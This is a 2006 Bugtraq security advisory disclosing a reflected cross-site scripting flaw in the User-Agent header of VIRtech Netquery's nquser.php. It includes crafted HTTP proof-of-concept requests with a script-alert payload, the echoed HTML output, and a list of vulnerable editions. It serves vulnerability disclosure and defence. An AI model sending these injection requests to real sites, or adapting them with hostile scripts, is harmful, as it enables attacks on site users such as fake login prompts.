bugtraq - Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <02b301c6fdd2$acc46770$6502a8c0@zionsecutiy>
Date: Wed, 1 Nov 2006 18:27:50 +0200
From: "LegendaryZion" <moskito@...le.net.il>
To: "BugTraq" <bugtraq@...urityfocus.com>
Subject: Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"

·= Security Advisory =·

Issue: Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"
Discovered Date: 04/10/2006
Author: Tal Argoni, LegendaryZion. [talargoni at gmail.com]
Product Vendor: http://www.virtech.org

Details:

VIRtechs Netquery system is prone to a Cross Site Scripting Vulnerability.
The vulnerability exists in "nquser.php" file, caused by the lack of Input
Validation/Filtering
of quotation and HTML characters in the header parameter "User-Agent:".

Part of the http header:

GET http://www.example.com/netquery/nquser.php HTTP/1.0
User-Agent: <script>alert('User-Agent:')</script>
...

After send the crafted http header, nquser.php prints the following HTML
code:
------------------------------------------------------------------------------------------------------------------
...
User Agent : <script>alert('User-Agent:')</script><br />
...

Successful exploitation may allow execution of script code. This could also
be exploited to spoof the entire website's content,
create fake login menu's for all the platform's users, commit Denial Of
Service attacks and more...

Proof Of Concept:

GET http://www.example.com/netquery/nquser.php HTTP/1.0
Accept: */*
Referer: http://www.example.com/
Accept-Language: en-us
Pragma: no-cache
User-Agent: <script>alert()</script>
Host: virtech.org
Proxy-Connection: Keep-Alive
Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420
Content-length: 0

Vulnerable systems:
e107 Edition
Postnuke Edition
Xaraya Edition
Xoops Edition

Not vulnerable systems:
Standalone Edition
Fusion Edition

for more details visit: www.zion-security.com

Thanks,
Tal Argoni, CEH
www.zion-security.com